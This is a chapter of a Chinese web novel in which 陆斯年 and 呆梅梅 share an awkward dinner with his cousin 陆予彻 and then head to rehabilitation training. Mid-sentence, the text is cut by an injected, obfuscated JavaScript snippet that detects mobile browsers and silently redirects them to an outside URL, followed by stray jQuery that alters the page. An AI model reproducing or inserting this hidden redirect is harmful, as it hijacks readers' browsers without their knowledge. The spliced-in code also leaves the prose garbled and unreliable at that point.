186. 梅警官的宏图大志
作品:《物流机器人不可能这么可爱》 呆梅梅这才反应过来,发现自己整个人都挂在陆斯年身上,脸唰一下就红了,小声辩解:“不、不是……这是你表哥辛苦做的嘛……”
完全不提自己是个吃货这件事。
这时,陆予彻也从厨房走了出来,正好看到陆斯年紧紧抱着呆梅梅,两人低声交谈的一幕。他脸上那副“友善”的笑容不变,眼神却几不可查地暗了一瞬,但随即用轻松的口吻掩饰过去:“看来我这鱼魅力不小,差点让我们梅梅表演个‘平沙落鱼’。”
谁是你们梅梅!
是他的梅梅好吧!
陆斯年心里不爽,冷冷地瞥了陆予彻一眼,没接话,只是小心地将呆梅梅扶稳,接过她手里的盘子,低声道:“下次小心点,摔了就摔了,人没事最重要。”
“哦……”
呆梅梅弱弱应声。
毕竟这俩大佬之间的气场真的太可怕了。
餐厅里,气氛有种说不出的凝滞。长长的餐桌旁,五个人各怀心事。
秦屿和伊芙琳秉承“食不言”的古训(主要是不知道该说什么,但伊芙琳表示自己是入乡随俗了),埋头苦干,仿佛碗里的米饭是世界上最值得研究的东西,筷子都快舞出残影了,坚决不参与任何眼神交流。
陆斯年坐在呆梅梅旁边,大部分注意力都放在她身上,不停地给她夹菜,尤其是那盘“功勋红烧鱼”,语气平静如常。席间充斥着“多吃点鱼,补充蛋白质”“这个青菜很嫩”等看起来很营养,实则很干涸的废话。
动作自然,却带着一种无声的宣告和维护。
呆梅梅小口吃着,陆斯年在,她是没有很担心啦,但正对面陆予彻的存在,还是让她有些食不知味。
陆予彻像是完全没察觉到这尴尬的气氛,依旧姿态优雅地用着餐,甚至还能点评几句菜色。
直到饭局过半,他仿佛才想起什么似的,用餐巾擦了擦嘴角,用一种谈论天气般的随意口吻,抛出了一枚重磅炸弹。
“对了,有件事跟你们说一下。”
陆予彻的目光扫过众人,最后落在陆斯年脸上,“刘备,我把他派去中东了,处理一点那边的棘手业务,短期内不会回来了。”
这话说得轻描淡写,但陆斯年明白这意味着什么。
秦屿和伊芙琳猛地抬起头,交换了一个震惊的眼神。
刘备!那个导致一系列事件的罪魁祸首之一,就这么被陆予彻轻飘飘地“发配”了?
这是灭口?还是单纯的调离?
他们不敢深想,只觉得后背有点发凉。
陆斯年夹菜的动作没有丝毫停顿,甚至连眼神都没有波动一下,只是淡淡地“嗯”了一声,仿佛早就料到,或者根本不在意。
他给呆梅梅舀了一勺汤,语气没有任何变化:“喝点汤,暖胃。”
呆梅梅握着筷子的手紧了紧。
她对“刘备”这个名字有本能的恐惧和厌恶。听到他被派走,心里先是松了口气,但随即看到陆斯年过于平静的反应,和陆予彻那深不见底的笑容,又隐隐觉得事情没那么简单。
陆予彻将众人的反应尽收眼底,尤其是陆斯年的平静,他嘴角的笑意加深了些许,举起酒杯,对着陆斯年示意了一下:“希望以后,我们能有机会,进行一些更……有建设性的合作。”
这话一语双关,既是轻描淡写地结束过去,也是试图为未来留个余地。
陆斯年这才抬眼,迎上他的目光,没有举杯:“专心吃你的饭。”
几个字堵回了所有试探,也定下了这顿饭剩余的基调——纯粹的吃饭,不要谈其他有的没的。
当然,他们之间也没得谈。
餐厅里再次只剩下碗筷碰撞的细微声响。
一顿气氛微妙的饭终于结束。陆予彻优雅地起身,礼貌地告辞,言行举止挑不出一丝错处,仿佛真的只是一次普通的家庭聚餐。
送走这位不速之客,门关上的瞬间,客厅里的空气仿佛都流通顺畅了不少。
秦屿长吁一口气,将自己抛在沙发上,同时夸张地拍了拍胸口:“哎呦我去,这顿饭吃的,比我熬夜debug还累!”
伊芙琳也松了口气,下意识地离那盘剩下的红烧鱼远了点,虽然它确实很好吃。
陆斯年看着明显还有些心有余悸的呆梅梅,走过去,轻轻揽住她的肩膀,低声安抚:“没事了,他暂时不会做什么。”
呆梅梅感受到他的温度,心里踏实了不少。
或许是为了驱散心底那点后怕,也或许是想在陆斯年面前表现一下,她努力挺直腰板,虽然没什么效果,故作豪迈地说:“我才不怕他!我……我以前好歹也是正儿八经考进公安系统的!”
当然,她没说自己是拼了老命才考上的文职。
当初为了那个文职岗位,笔试差点把她头发熬秃,体能测试更是堪堪擦着及格线飘过。
呆梅梅运动神经天生就不太发达。
她那副明明运动废柴又要强装“体制内精英”的样子,把大家都逗乐了。
秦屿憋着笑,一本正经地拱手:“失敬失敬!原来是梅警官!以后咱们就都靠你保护了!”
陆斯年眼底漾开浓浓的笑意,他低头看着怀里这个连跑步都可能同手同脚的“梅警官”,从善如流地点头,语气充满了戏谑的宠溺:“好的,梅警官。那么,为了保护人民群众的生命财产安全,拥有强健的体魄是基础。梅警官,现在是不是该进行今天的体能训练了?”
“啊——?”
刚才还努力维持威严形象的呆梅梅,一听到“训练”两个字,就像被戳破的气球,瞬间蔫了,发出一声惨兮兮的哀嚎,整个人几乎要挂到陆斯年身上去,“能不能……申请缓刑一天?本警官今天脑力消耗过大,体力不支……”
她那副耍赖求饶的小模样,比刚才假装勇敢时可爱一万倍。
陆斯年笑着捏了捏她的鼻子:“缓刑驳回。走吧,梅警官,我陪你去‘巡逻’。”
他半扶半抱地带着她,向别墅内专门辟出的复健室走去。
那地方堪称顶级康
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312164|184178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复中心的微缩版,各种进口器械一应俱全,是陆斯年在呆梅梅苏醒初期就不惜重金,以最快速度打造的。
走在安静的走廊里,陆斯年仿佛不经意般,提起了刚才厨房里那段被关起的对话。
“他和你说了什么?”他的声音很平稳,听不出太多情绪,但……其实他超级在意的!
呆梅梅正暗自祈祷今天的训练项目能轻松点,被他突然一问,愣了一下,随即脸上闪过一丝小得意。
她扬起脑袋,努力做出严肃认真的表情,开始炫耀自己干了一件多么了不起的大事。
“哎呀,其实也没什么啦,我就是义正言辞地帮你教育了他!”
“教育?”
陆斯年看着她那双写满了“快夸我”的眼睛,心里觉得好笑,又有点莫名的暖意。他配合问道:“哦?教育他什么了?”
“教育他……”呆梅梅卡壳了一秒,她总不能复述那些关于“变心”“漂亮”的糟心话,那等于给老板心里添堵。她迅速提炼了核心思想,用一种总结陈词般的口吻说道:“教育他……做人要善良!不可以总想着欺负别人!尤其是不能欺负我老板!”
她这话说得掷地有声,仿佛刚才在厨房里真的进行了一场关于真善美的布道。
陆斯年闻言,沉默了片刻。
他几乎能想象出,眼前这个小家伙,是如何在陆予彻那种高压气场下,鼓足勇气,用她自己的方式去维护他。这份笨拙又纯粹的心意,比任何精妙的算计都更能触动他。
在复健室门口,陆斯年停下脚步,轻轻将她转过身面对自己,目光柔和地看着呆梅梅。
“谢谢梅梅。”他轻声说。这两个字里包含了太多的含义,谢谢她的维护,谢谢她的信任,谢谢她选择站在他身边。
被陆斯年这么郑重地道谢,呆梅梅反而不好意思起来,刚才那点小得意瞬间化为了羞涩。她耳根泛红,眼神飘忽,下意识地想低下头,却被对方的目光牢牢锁住。最后,她只是发出一声含糊的、带着满满羞赧的鼻音。
“嗯……”
陆斯年只觉她可爱万分,顺手拨弄着她柔软的麻花辫发梢,指尖缠绕着那带着阳光温度的发丝:“我以前一直以为,我只会喜欢聪明又优雅的女人。”
他的声音里带着一点回忆的悠远,还有一丝清晰可辨的笑意。
“(ˉ▽ ̄~)切~~”
呆梅梅娇哼:“我可聪明,可优雅了呢!”
“聪明?优雅?”
陆斯年露出夸张的表情。
“你这个发型……”他轻轻扯了扯呆梅梅的麻花辫,像是在确认什么。
“手感不错,但是好像是村里的流行吧?”
他干脆从身后完全环抱住她,下巴搁在她纤细的脖颈上,像只大型犬一样蹭了蹭,嗅着她身上混合着药香和淡淡向日葵洗发水的味道。
“你这个小古董。”
“才不是呢!”
呆梅梅立刻抗议,扭动着身体想从他怀里转出来,却被陆斯年抱得更紧。

